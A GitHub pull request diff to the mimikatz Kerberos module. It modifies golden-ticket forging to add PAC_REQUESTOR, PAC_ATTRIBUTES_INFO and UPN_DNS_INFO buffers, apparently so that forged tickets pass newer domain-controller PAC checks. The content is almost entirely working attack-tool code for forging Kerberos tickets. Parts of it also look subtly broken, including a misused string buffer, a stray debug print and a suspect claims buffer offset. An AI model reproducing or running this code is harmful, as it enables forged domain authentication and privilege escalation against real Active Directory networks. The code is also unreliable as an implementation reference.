Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Kerberos PAC Updates for Nov9 Updates #379

Closed
wants to merge 9 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
4 changes: 2 additions & 2 deletions mimikatz/modules/kerberos/kuhl_m_kerberos.c
Expand Up @@ -421,7 +421,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
NTSTATUS status;
PKERB_ECRYPT pCSystem;
BOOL isPtt = kull_m_string_args_byName(argc, argv, L"ptt", NULL, NULL);

kull_m_string_args_byName(argc, argv, L"ticket", &filename, L"ticket." MIMIKATZ_KERBEROS_EXT);
if(kull_m_string_args_byName(argc, argv, L"admin", &szUser, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
{
Expand Down Expand Up @@ -634,7 +634,7 @@ PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWST
{
if(pValidationInfo = kuhl_m_pac_infoToValidationInfo(&lifetime->TicketStart, username, domainname, LogonDomainName, sid, userid, groups, cbGroups, sids, cbSids))
{
if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, &pacType, &pacTypeSize))
if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet,sid, userid, domainname, &pacType, &pacTypeSize))
{
kprintf(L" * PAC generated\n");
status = kuhl_m_pac_signature(pacType, pacTypeSize, SignatureType, key, keySize);
Expand Down
100 changes: 92 additions & 8 deletions mimikatz/modules/kerberos/kuhl_m_kerberos_pac.c
Expand Up @@ -5,14 +5,15 @@
*/
#include "kuhl_m_kerberos_pac.h"

BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PPACTYPE * pacType, DWORD * pacLength)
BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PISID sid, DWORD userId, LPCWSTR domainname, PPACTYPE * pacType, DWORD * pacLength)
{
BOOL status = FALSE;
PVOID pLogonInfo = NULL, pClaims = NULL;
PPAC_CLIENT_INFO pClientInfo = NULL;
PAC_SIGNATURE_DATA signature = {SignatureType, {0}};
DWORD n = 4, szLogonInfo = 0, szLogonInfoAligned = 0, szClientInfo = 0, szClientInfoAligned, szClaims = 0, szClaimsAligned = 0, szSignature = FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature), szSignatureAligned, offsetData = sizeof(PACTYPE) + 3 * sizeof(PAC_INFO_BUFFER);
DWORD n = 7, szLogonInfo = 0, szLogonInfoAligned = 0, szClientInfo = 0, szClientInfoAligned, szClaims = 0, szClaimsAligned = 0, szSignature = FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature), szSignatureAligned, offsetData = sizeof(PACTYPE) + 6 * sizeof(PAC_INFO_BUFFER);
PKERB_CHECKSUM pCheckSum;
INT pacAttributeType = 2;

if(NT_SUCCESS(CDLocateCheckSum(SignatureType, &pCheckSum)))
{
Expand All @@ -31,9 +32,74 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFIL
offsetData += sizeof(PAC_INFO_BUFFER);
}

// Convert sid and id into user sid for PAC REQUESTOR using string conversersion and converting back to sids
LPCWSTR stringSid;
ConvertSidToStringSid(sid, &stringSid);
LPCWSTR userStringSidFull[100];
memset(userStringSidFull, 0, 100 * 2);
swprintf(userStringSidFull, 100, L"%s-%d", stringSid, userId );
wprintf(userStringSidFull);
PSID userSid;
ConvertStringSidToSid(userStringSidFull, &userSid);
auto szPacRequestorsid = GetLengthSid(userSid);
DWORD szPacRequestorSidAligned = SIZE_ALIGN(szPacRequestorsid, 8);


// Setting up PAC_ATTRIBUTE_IFNO
PAC_ATTRIBUTES_INFO pacAttributeInfo;

// This takes the value of 1 or 2 from pacAttributeType Arguement and inputs it as correct format. I am sure this is terrible but I couldnt get it to work another way.
UINT32 pacAttributeTypeParser = NULL;

if (pacAttributeType == 1) {
pacAttributeTypeParser = PAC_ATTRIBUTE_FLAG_PAC_WAS_REQUESTED;
}
else if (pacAttributeType == 2) {
pacAttributeTypeParser = PAC_ATTRIBUTE_FLAG_PAC_WAS_GIVEN_IMPLICITLY;
}else{
pacAttributeTypeParser = NULL;
}

if (pacAttributeTypeParser) {
kprintf(L"PAC Attribute Info: %zu\n", pacAttributeTypeParser);
pacAttributeInfo.Flags[0] = pacAttributeTypeParser;
}
else {
kprintf(L"PAC Attribute Info is NULL");
}


auto szPacAttributeInfo = sizeof(PAC_ATTRIBUTES_INFO);
DWORD szPacAttributeInfoAligned = SIZE_ALIGN(szPacAttributeInfo, 8);


// Making UPN
wchar_t domainnameConverted[100];
swprintf(domainnameConverted, 100, L"%s", domainname);
wchar_t upn[100];
swprintf(upn, 100, L"%s@%s", validationInfo->EffectiveName.Buffer, domainname);


// Setting UPN DNS INFO
UPN_DNS_INFO upnDnsInfo;
upnDnsInfo.UpnLength = lstrlenW(upn) * 2;
upnDnsInfo.UpnOffset = 16;
upnDnsInfo.DnsDomainNameLength = validationInfo->LogonDomainName.Length * 2;
upnDnsInfo.DnsDomainNameOffset = upnDnsInfo.UpnLength + upnDnsInfo.UpnOffset;
upnDnsInfo.Flags = 0x00000000;



auto szUpnDnsInfo = sizeof(upnDnsInfo);
auto szUpn = sizeof(upn);
auto szDomainname = sizeof(domainnameConverted);
DWORD szUpnAligned = SIZE_ALIGN(szUpn, 8);
DWORD szDomainnameAligned = SIZE_ALIGN(szDomainname, 8);
DWORD szUpnDnsInfoAligned = SIZE_ALIGN(szUpnDnsInfo, 8);

if(pLogonInfo && pClientInfo)
{
*pacLength = offsetData + szLogonInfoAligned + szClientInfoAligned + szClaimsAligned + 2 * szSignatureAligned;
*pacLength = offsetData + szLogonInfoAligned + szClientInfoAligned + szUpnDnsInfoAligned + upnDnsInfo.UpnLength + szDomainname + szPacAttributeInfoAligned + szPacRequestorSidAligned + szClaimsAligned + 2 * szSignatureAligned;
if(*pacType = (PPACTYPE) LocalAlloc(LPTR, *pacLength))
{
(*pacType)->cBuffers = n;
Expand All @@ -49,12 +115,29 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFIL
(*pacType)->Buffers[1].Offset = (*pacType)->Buffers[0].Offset + szLogonInfoAligned;
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[1].Offset, pClientInfo, (*pacType)->Buffers[1].cbBufferSize);

if(szClaimsAligned)
(*pacType)->Buffers[2].cbBufferSize = szUpnDnsInfo + upnDnsInfo.UpnLength + szDomainname;
(*pacType)->Buffers[2].ulType = PACINFO_TYPE_UPN_DNS;
(*pacType)->Buffers[2].Offset = (*pacType)->Buffers[1].Offset + szClientInfoAligned;
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[2].Offset, &upnDnsInfo, (*pacType)->Buffers[2].cbBufferSize);
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[2].Offset + szUpnDnsInfoAligned, &upn, upnDnsInfo.UpnLength);
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[2].Offset + szUpnDnsInfoAligned + upnDnsInfo.UpnLength, &domainnameConverted, szDomainname);

(*pacType)->Buffers[3].cbBufferSize = szPacAttributeInfo;
(*pacType)->Buffers[3].ulType = PACINFO_TYPE_ATTRIBUTES_INFO;
(*pacType)->Buffers[3].Offset = (*pacType)->Buffers[2].Offset + szUpnDnsInfoAligned + upnDnsInfo.UpnLength + szDomainname;
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[3].Offset, &pacAttributeInfo, (*pacType)->Buffers[3].cbBufferSize);

(*pacType)->Buffers[4].cbBufferSize = szPacRequestorsid;
(*pacType)->Buffers[4].ulType = PACINFO_TYPE_PAC_REQUESTOR;
(*pacType)->Buffers[4].Offset = (*pacType)->Buffers[3].Offset + szPacAttributeInfoAligned;
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[4].Offset, userSid, (*pacType)->Buffers[4].cbBufferSize);

if (szClaimsAligned)
{
(*pacType)->Buffers[2].cbBufferSize = szClaims;
(*pacType)->Buffers[2].ulType = PACINFO_TYPE_CLIENT_CLAIMS;
(*pacType)->Buffers[2].Offset = (*pacType)->Buffers[1].Offset + szClientInfoAligned;
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[2].Offset, pClaims, (*pacType)->Buffers[2].cbBufferSize);
(*pacType)->Buffers[5].cbBufferSize = szClaims;
(*pacType)->Buffers[5].ulType = PACINFO_TYPE_CLIENT_CLAIMS;
(*pacType)->Buffers[5].Offset = (*pacType)->Buffers[4].Offset + szClientInfoAligned;
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[5].Offset, pClaims, (*pacType)->Buffers[5].cbBufferSize);
}

(*pacType)->Buffers[n - 2].cbBufferSize = szSignature;
Expand Down Expand Up @@ -381,6 +464,7 @@ NTSTATUS kuhl_m_kerberos_pac_info(int argc, wchar_t * argv[])
kprintf(L"[%02u] %08x @ offset %016llx (%u)\n", i, pacType->Buffers[i].ulType, pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize);
kull_m_string_wprintf_hex((PBYTE) pacType + pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize, 1);
kprintf(L"\n");

}
kprintf(L"\n");
}
Expand Down
2 changes: 1 addition & 1 deletion mimikatz/modules/kerberos/kuhl_m_kerberos_pac.h
Expand Up @@ -21,7 +21,7 @@ typedef struct _PAC_SIGNATURE_DATA {
} PAC_SIGNATURE_DATA, *PPAC_SIGNATURE_DATA;
#pragma pack(pop)

BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PPACTYPE * pacType, DWORD * pacLength);
BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PISID sid, DWORD userId, LPCWSTR domainname, PPACTYPE * pacType, DWORD * pacLength);
BOOL kuhl_m_pac_validationInfo_to_CNAME_TINFO(PFILETIME authtime, LPCWSTR clientname, PPAC_CLIENT_INFO * pacClientInfo, DWORD * pacClientInfoLength);
NTSTATUS kuhl_m_pac_signature(PPACTYPE pacType, DWORD pacLenght, LONG SignatureType, LPCVOID key, DWORD keySize);
PKERB_VALIDATION_INFO kuhl_m_pac_infoToValidationInfo(PFILETIME authtime, LPCWSTR username, LPCWSTR domainname, LPCWSTR LogonDomainName, PISID sid, ULONG rid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids);
Expand Down
33 changes: 23 additions & 10 deletions modules/rpc/kull_m_rpc_ms-pac.h
Expand Up @@ -2,16 +2,20 @@
#include "kull_m_rpc.h"
#include "../kull_m_samlib.h"

#define PACINFO_TYPE_LOGON_INFO 0x00000001
#define PACINFO_TYPE_CREDENTIALS_INFO 0x00000002
#define PACINFO_TYPE_CHECKSUM_SRV 0x00000006
#define PACINFO_TYPE_CHECKSUM_KDC 0x00000007
#define PACINFO_TYPE_CNAME_TINFO 0x0000000a
#define PACINFO_TYPE_DELEGATION_INFO 0x0000000b
#define PACINFO_TYPE_UPN_DNS 0x0000000c
#define PACINFO_TYPE_CLIENT_CLAIMS 0x0000000d
#define PACINFO_TYPE_DEVICE_INFO 0x0000000e
#define PACINFO_TYPE_DEVICE_CLAIMS 0x0000000f
#define PACINFO_TYPE_LOGON_INFO 0x00000001
#define PACINFO_TYPE_CREDENTIALS_INFO 0x00000002
#define PACINFO_TYPE_CHECKSUM_SRV 0x00000006
#define PACINFO_TYPE_CHECKSUM_KDC 0x00000007
#define PACINFO_TYPE_CNAME_TINFO 0x0000000a
#define PACINFO_TYPE_DELEGATION_INFO 0x0000000b
#define PACINFO_TYPE_UPN_DNS 0x0000000c
#define PACINFO_TYPE_CLIENT_CLAIMS 0x0000000d
#define PACINFO_TYPE_DEVICE_INFO 0x0000000e
#define PACINFO_TYPE_DEVICE_CLAIMS 0x0000000f
#define PACINFO_TYPE_ATTRIBUTES_INFO 0x00000011
#define PACINFO_TYPE_PAC_REQUESTOR 0x00000012
#define PAC_ATTRIBUTE_FLAG_PAC_WAS_REQUESTED 0x00000001
#define PAC_ATTRIBUTE_FLAG_PAC_WAS_GIVEN_IMPLICITLY 0x00000002

typedef struct _PAC_INFO_BUFFER {
ULONG ulType;
Expand All @@ -25,6 +29,15 @@ typedef struct _PACTYPE {
PAC_INFO_BUFFER Buffers[ANYSIZE_ARRAY];
} PACTYPE, *PPACTYPE;

typedef struct _PAC_REQUESTOR {
PISID sid;
} PAC_REQUESTOR, *PPAC_REQUESTOR;

typedef struct _PAC_ATTRIBUTES_INFO {
unsigned int FlagsLength : 1;
unsigned int Flags[ANYSIZE_ARRAY];
} PAC_ATTRIBUTES_INFO, *PPAC_ATTRIBUTES_INFO;

typedef struct _PAC_CLIENT_INFO {
FILETIME ClientId;
USHORT NameLength;
Expand Down